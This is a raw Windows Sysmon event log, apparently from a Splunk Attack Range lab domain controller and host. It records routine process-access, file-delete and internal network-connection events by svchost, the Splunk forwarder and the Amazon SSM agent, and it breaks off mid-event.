14:55:47.150{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048205Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.009{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048204Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.009{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048203Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.009{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1500-00000000F001}1248C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015941Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:48.886{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B79CC80B9711A9393E21DCACA5B72891,SHA256=85D863ACE8E4067526647B4FF462A20670DF221B9C464B86F9CF27C6A4E54A97,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048235Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:48.947{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C1CAB6AF426736CAA1EC2B00E492B421,SHA256=400E4193209A8C2F18268A1ED6DC6ED1357450712B23CF8238A847D0F9D372B8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015942Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:49.901{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B7C0E0C8CF3FC4CC16046D96752CE290,SHA256=32B2152AB5C627722F8F3618CE9721AD149637E37B1BD87E04ACBD178DA6DC10,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048237Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:49.962{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CF6B6576E438255C37B9C2465ED9B71A,SHA256=C5C2D02429BBAD3023F6EE58578481400B7567C42CC53C7FDE8E36064203C0D9,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048236Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:47.442{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59456-false10.0.1.12-8000- 23542300x800000000000000048238Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:50.976{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=01323AD24AEE65475CA8237705161316,SHA256=6469F0B5A14A4B94EAB26F01F02F3090FE8C164A5B3B88C57FA5C54620E4D682,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015943Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:50.931{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=8BA1ACD83786FA89D64F47DE6EEAF52F,SHA256=4159939DD6914629B5BD069129E22FB9F40AEF0C034A3353CF547E0AFEAF1FF0,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048239Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:51.992{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E4B2EC465473D1F920A2998BE0EC0FC7,SHA256=88B1649DC26DED35475B812483A90F64A81BD83113A7D10F018D76D2216DA2C9,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015944Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:51.948{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1077FD4F5D88BC52ABBCD556333C6684,SHA256=18F05380FEBCC2BEC5E25C22362640F9F78B4AB35BD7162970AB5ABE2C05CC99,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015945Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:52.993{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B2BD53328887F28DB7FF55093905FEE8,SHA256=4964FA6A7876E016F1869EFFA664ED17F60B5A0166C26D33EA58C346CD7B18A7,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015946Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:52.519{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50256-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000048240Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:53.007{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F5FFDACCE727294521D61CC818D7F6EB,SHA256=87C847658DC77601857F0927CA8331220C45C7EE1C000E38F1A37A03CC50BA8C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015948Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:54.946{625C326B-6879-613B-A400-00000000F101}2004NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015947Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:54.024{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4905110B9C4EFB0911BB75F628389C1D,SHA256=C48B855EE2FB8DA5056C5CC958430D06B0E7F00DDBFD19830BCE824658AC4884,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048241Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:54.023{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5A6501BF7AC10CA04D981BB52FC4EF5C,SHA256=DE5E97DB37DDC15B28F64F09ABACDD449896023601F84EC8C7404CE643832A1D,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048242Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:55.038{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F1CAB126526C74BAE62F05D122FDD678,SHA256=7C41FF60ABEF53B4C196B035BFBC9362E9AB1114E9DF96CBB559696C3D4C9EB7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015949Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:55.056{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E2A3ED67D082C557F442A0ABEED25C9A,SHA256=08E962D98432AEC4D66CEA4D097CFC84D48605FC44E7F3058A7A69F7DD353733,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048243Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:56.148{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=353D29FD50801D83186C465AF4161B1F,SHA256=D974F8E195DB67B0108DEBA7E8D468CCE1546B41CC6F4ACF81EE5251C526E393,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015950Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:56.071{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=818B9D5BDB28F092183ACA043EFDEE91,SHA256=A5B58B4D538A2718A92AFA0675C78193D7D34E0E88BA2E289BC8DAA39BE04241,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048245Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:57.163{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=2FCBCDF46A7EA7E33CA2EAC392457755,SHA256=F0D1E269475CC29A6EDB6E85CF8A321AC16CBA8DAA6766A91E81FA4104C83981,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015952Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:55.253{625C326B-6879-613B-A400-00000000F101}2004C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50257-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8089- 23542300x800000000000000015951Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:57.087{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9C6F0B818461EA424689BC2A15F6C251,SHA256=249F1992558B468CD142A7B73031E826CE7055BD29FF6885A555D1DA60046B10,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048244Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:53.408{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59457-false10.0.1.12-8000- 23542300x800000000000000015953Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:58.118{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A78451E3AFDEB64C98FAE612DD3A8610,SHA256=FE0ECD5F7B78F3B4CAA271BF7E67CAD5B3D876776A91904DCB59B8B80180026A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048246Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:58.195{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9024823173DEA5F01D7AA48B62FFFFA9,SHA256=48CECA95BD4AAC8A6D7E71F812F2353887D8F81DEBE103A0E95EF9F1C5FB9C58,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048251Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:57.612{7BD73061-65B0-613B-0B00-00000000F001}620C:\Windows\System32\lsass.exeNT AUTHORITY\SYSTEMtcpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59458-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 354300x800000000000000048250Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:57.612{7BD73061-65BF-613B-2700-00000000F001}2852C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exeNT AUTHORITY\SYSTEMtcptruetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local59458-true0:0:0:0:0:0:0:1win-dc-387.attackrange.local389ldap 23542300x800000000000000048249Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:59.320{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=0746FAE1B02881E34AEFCCB5860B30CC,SHA256=B1DAFE51D4F968C312003FF22261AA8C49739DD6D105660289760E0805ACF9D3,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048248Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:59.320{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=858FE7573FF027C3243891077571BC69,SHA256=F62963A4D383DC871798550EDCE24540467CBB9694328E732141EC6B4364D08C,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048247Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:59.210{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C7459431C80506D72089C2DE816A2047,SHA256=39A2B8763E02F376C10F0F6D2F8E9B5E080FC811D0FD7A596285B40656170FEC,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000015955Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:58.489{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50258-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000015954Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:55:59.134{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=1B1A7B24EB3B2A129DE098A3F470F191,SHA256=D490A90DF08BCFD6A7A3075EC6EFC353BA2144E0424BC9D0979CABB36BFC0D0F,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048252Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:00.226{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=78214AD66A64AD566ED9DF19207662E0,SHA256=D0E0B8E29A804076795688757FDC6A741CAF6685856ED96C3981BABC50AE9347,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015956Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:00.149{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=545F9C8F0D4B2E3C4F80CE56311A5609,SHA256=39A9A6856A55DC5F9E7C4774100D9FB39290E5FD6F044449570E9832031340A5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048253Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:01.241{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=46BB50A86B8B1482FEC8FA3594EC129D,SHA256=09FF4182500BA9B798B6684D9C0878686D30A7F1399FE584FF9DBBCB026761C6,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015957Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:01.149{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BB31FC1921281E8471656AD3F33565B2,SHA256=AD7562A1B20A80EC1538C3F055D52651D9A6F939FC9C427EB07A5A748107245A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015959Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:02.274{625C326B-67EE-613B-1200-00000000F101}300NT AUTHORITY\LOCAL SERVICEC:\Windows\System32\svchost.exeC:\Windows\ServiceProfiles\LocalService\AppData\Local\lastalive1.datMD5=C75F7E11CE75574ADCC0BBD2BC5EEFAE,SHA256=5232D8BE9B5C56159B305758838961DF221D51691F8F66EEE6A56214A0AB0598,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000015958Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:02.196{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CC058617E4C499C3045E3EFC244C882E,SHA256=F763B70B71892A27C38691BD1B029F892B6F3226FCA9C6E3E2FA7DC2089CBC2A,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000048256Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:55:59.362{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59459-false10.0.1.12-8000- 23542300x800000000000000048255Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:02.257{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=81CD58EA6F5896E3AE62E35DB4AEEB33,SHA256=8FA5F026331A556D2D57FFCD6AAAD70469B33BB0E5AC646FD9ADBD970552D2A8,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000048254Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:02.023{7BD73061-65B2-613B-0D00-00000000F001}8925164C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2B00-00000000F001}2964C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+b4d7|c:\windows\system32\rpcss.dll+8257|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000015960Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:56:03.259{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=AD528595EDC3F938B4E1055A097FE022,SHA256=3BAEC2FDBE13E09B34BA1C1BB6BD37EAA9BAD94D6E6856D3E18A730E479E2E5A,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048258Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:03.340{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\respondent-20210910140346-050MD5=0ECBD96D4C8EFA762750D80ED755F871,SHA256=884DCF4CAE7DADA9980CDF8B8E62499F900EF27E1E36C36938E27750A8EC29B2,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048257Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:03.258{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3FA0A9C9787E867731ED6FAD4DA49ECF,SHA256=CC422F1FED5D665E6E5CC5B69B6BC80CD90316A79B1DAD012168B129F2DF17F1,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048260Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:04.352{7BD73061-65BF-613B-2900-00000000F001}2868NT AUTHORITY\SYSTEMC:\Program Files\Amazon\SSM\amazon-ssm-agent.exeC:\ProgramData\Amazon\SSM\InstanceData\i-044adde96bd54cffd\channels\health\surveyor-20210910140344-051MD5=97EF2A570B75C4F95FC69B0D09A2E2A2,SHA256=11396EA313B0ED7E3228C4FA92ABE9D836DB8F416A7A8A28ACC77133025082E7,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000048259Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:56:04.335{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 